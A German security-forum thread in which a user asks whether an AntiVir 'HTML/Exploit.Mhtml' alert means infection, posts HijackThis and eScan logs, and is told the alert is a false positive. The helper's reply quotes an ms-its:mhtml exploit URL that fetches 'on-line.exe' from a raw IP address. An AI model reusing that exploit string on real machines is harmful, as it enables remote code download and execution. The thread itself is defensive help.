|
HTML/Exploit.Mhtml! Biite um Hilfe! Hallo, habe folgendes Problem: Wenn ich im Google "cleanprog" eingebe, => Seiten auf deutsch drücke und den 7. Eintrag anklicke, dann lande ich auf einer Trojaner-Board-Seite (genau: http://www.trojaner-board.de\archiv\...p\t-12656.html). Mein AntiVir meldet mir aber genau auf dieser Seite auch den HTML/Exploit.Mhtml-Virus. Die angegebene Datei habe ich löschen lassen. Habe daraufhin ein HJT-Logfile erstellt und auswerten lassen - sieht sauber aus! Habe eScan gemacht - nichts gefunden, AntiVir, ewido, Ad-Aware - nichts gefunden. Desweiteren habe ich im Prozessmanager wdfmgr.exe gefunden. Habe die Datei bei Jotti prüfen lassen - nichts gefunden. Kann es sein, dass AntiVir den Virus tatsächlich vollständig gelöscht hat? Legt der Virus noch weitere Dateien an, oder zieht er welche aus dem Netz? Hier mal die Logs: Logfile of HijackThis v1.99.1 Scan saved at 12:55:10, on 01.10.2005 Platform: Windows XP SP2 (WinNT 5.01.2600) MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180) Running processes: C:\WINDOWS\System32\smss.exe C:\WINDOWS\system32\winlogon.exe C:\WINDOWS\system32\services.exe C:\WINDOWS\system32\lsass.exe C:\WINDOWS\system32\Ati2evxx.exe C:\WINDOWS\system32\svchost.exe C:\WINDOWS\System32\svchost.exe C:\WINDOWS\system32\spoolsv.exe C:\PROGRAMME\AVPERSONAL\AVGUARD.EXE C:\Programme\AVPersonal\AVWUPSRV.EXE C:\Programme\ewido\security suite\ewidoctrl.exe C:\Programme\Intel\Intel Application Accelerator\iaantmon.exe C:\WINDOWS\system32\userinit.exe C:\WINDOWS\Explorer.EXE C:\Programme\AVPersonal\AVGNT.EXE C:\Programme\Winpooch\Winpooch.exe C:\WINDOWS\system32\imapi.exe C:\Programme\Downloads & Misc\Installiert\HijackThis\HijackThis.exe R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = h***://update.microsoft.com/windowsupdate/v6/default.aspx?ln=de O2 - BHO: AcroIEHlprObj Class - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Programme\Adobe\Acrobat 7.0\ActiveX\AcroIEHelper.dll O4 - HKLM\..\Run: [AVGCtrl] C:\Programme\AVPersonal\AVGNT.EXE /min O4 - HKLM\..\Run: [Winpooch] C:\Programme\Winpooch\Winpooch.exe O15 - Trusted Zone: h***://download.windowsupdate.com O16 - DPF: {6414512B-B978-451D-A0D8-FCFDF33E833C} (WUWebControl Class) - h***://update.microsoft.com/windowsupdate/v6/V5Controls/en/x86/client/wuweb_site.cab?1125342748015 O17 - HKLM\System\CCS\Services\Tcpip\..\{EC0865BB-9D41-4647-A1EA-4DB28C5CDA41}: NameServer = 62.72.64.237,62.72.64.241 O23 - Service: AntiVir Service (AntiVirService) - H+BEDV Datentechnik GmbH - C:\PROGRAMME\AVPERSONAL\AVGUARD.EXE O23 - Service: Ati HotKey Poller - ATI Technologies Inc. - C:\WINDOWS\system32\Ati2evxx.exe O23 - Service: ATI Smart - Unknown owner - C:\WINDOWS\SYSTEM32\ati2sgag.exe O23 - Service: AntiVir Update (AVWUpSrv) - H+BEDV Datentechnik GmbH, Germany - C:\Programme\AVPersonal\AVWUPSRV.EXE O23 - Service: ewido security suite control - ewido networks - C:\Programme\ewido\security suite\ewidoctrl.exe O23 - Service: IAA Event Monitor (IAANTMon) - Intel Corporation - C:\Programme\Intel\Intel Application Accelerator\iaantmon.exe und eScan (das habe ich gestern abend laufen lassen): -------------------------------------------------- -------------------- INFECTED -------------------- -------------------------------------------------- 1: Fri Sep 30 23:27:43 2005 => Scanning Folder: C:\Programme\AVPersonal\INFECTED\*.* -------------------------------------------------- --------------------- ERRORS --------------------- -------------------------------------------------- 1: Fri Sep 30 23:20:19 2005 => Entry "HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\Folders" refers to invalid object "C:\Programme\Microsoft Works\". Action Taken: No Action Taken. 2: Fri Sep 30 23:20:19 2005 => Entry "HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\Folders" refers to invalid object "C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Sonic\". Action Taken: No Action Taken. 3: Fri Sep 30 23:20:19 2005 => Entry "HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\Folders" refers to invalid object "C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Microsoft AntiSpyware\". Action Taken: No Action Taken. 4: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".$$$". Action Taken: No Action Taken. 5: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".1". Action Taken: No Action Taken. 6: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".avc". Action Taken: No Action Taken. 7: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".bas". Action Taken: No Action Taken. 8: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".dat". Action Taken: No Action Taken. 9: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".DAT_BAK_24101". Action Taken: No Action Taken. 10: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".DAT_BAK_56488". Action Taken: No Action Taken. 11: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".DBL". Action Taken: No Action Taken. 12: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".dfm". Action Taken: No Action Taken. 13: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".diskdefines". Action Taken: No Action Taken. 14: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".dpr". Action Taken: No Action Taken. 15: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".dt". Action Taken: No Action Taken. 16: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".frm". Action Taken: No Action Taken. 17: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".key". Action Taken: No Action Taken. 18: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".ldif". Action Taken: No Action Taken. 19: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".lpk". Action Taken: No Action Taken. 20: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".part". Action Taken: No Action Taken. 21: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".pas". Action Taken: No Action Taken. 22: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".pcv". Action Taken: No Action Taken. 23: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".rlg". Action Taken: No Action Taken. 24: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".rt03". Action Taken: No Action Taken. 25: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".SDR". Action Taken: No Action Taken. 26: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".tcp". Action Taken: No Action Taken. 27: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".tmp". Action Taken: No Action Taken. 28: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".tools". Action Taken: No Action Taken. 29: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object ".win". Action Taken: No Action Taken. 30: Fri Sep 30 23:20:20 2005 => Entry "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" refers to invalid object "OpenWithList". Action Taken: No Action Taken. 31: Fri Sep 30 23:20:22 2005 => Entry "HKCR\CLSID\{7E752AAA-5A32-40AD-B150-4A2E85768E4D}" refers to invalid object "D:\BIN\WIN32\omgdwrap.dll". Action Taken: No Action Taken. 32: Fri Sep 30 23:20:22 2005 => Entry "HKCR\CLSID\{B089FE88-FB52-11d3-BDF1-0050DA34150D}" refers to invalid object "C:\Programme\Eset\nodshex.dll". Action Taken: No Action Taken. 33: Fri Sep 30 23:20:22 2005 => Entry "HKCR\CLSID\{D95DEB2F-4A47-467C-A78B-5D3038D089D5}" refers to invalid object "D:\BIN\WIN32\omgdbp.ocx". Action Taken: No Action Taken. 34: Fri Sep 30 23:22:59 2005 => Result: ERROR!!! File C:\Dokumente und Einstellungen\Harry\Eigene Dateien\_HARRY\Win98 Harry\Betriebswirt\Mails und Daten\ihk.Zip is Not Scanned 35: Fri Sep 30 23:23:00 2005 => Result: ERROR!!! File C:\Dokumente und Einstellungen\Harry\Eigene Dateien\_HARRY\Win98 Harry\Betriebswirt\Modul 3\PW\Zeugnis\Zeugnis.Zip is Not Scanned -------------------------------------------------- -------------------- Statistik ------------------- -------------------------------------------------- Sat Oct 01 00:28:59 2005 => Total Objects Scanned: 127033 Sat Oct 01 00:28:59 2005 => Total Virus(es) Found: 0 Sat Oct 01 00:28:59 2005 => Total Errors: 35 Sat Oct 01 00:28:59 2005 => Virus Database Date: 2005/09/30 Sat Oct 01 00:28:59 2005 => Virus Database Count: 151891 Sat Oct 01 00:30:48 2005 => Total Objects Scanned: 127033 Sat Oct 01 00:30:48 2005 => Total Virus(es) Found: 0 Sat Oct 01 00:30:48 2005 => Total Errors: 35 Über das plötzliche erscheinen von wdfmgr.exe mache ich mir schaon gedanken!! Für eine Hilfe wäre ich dankbar. karaya |
Hallo, AntiVir deklariert fälschlicherweise diesen Code Schnipsel [1] als Bedrohung und gibt deswegen auch die Warnmeldung aus, siehe auch http://www.trojaner-board.de/showthread.php?t=21017. Kein Grund zur Beunruhigung, denn dein System ist sauber. bzgl. wdfmgr.exe: http://www.spyany.com/files/wdfmgr_exe.html [1] O16 - DPF: {10003000-1000-0000-1000-000000000000} - ms-its:mhtml:file://C:\foo.mht!h**p://82.179.166.68/gHQAp1SZ3M9G0AEk1Pae1ag.chm::/on-line.exe btw: Den unter [1] genannten Code Schnipsel werde ich wieder entfernen. |
Hallo Cidre, danke für die schnelle und beruhigende Antwort :aplaus: karaya |
| Alle Zeitangaben in WEZ +1. Es ist jetzt 06:25 Uhr. |
Copyright ©2000-2025, Trojaner-Board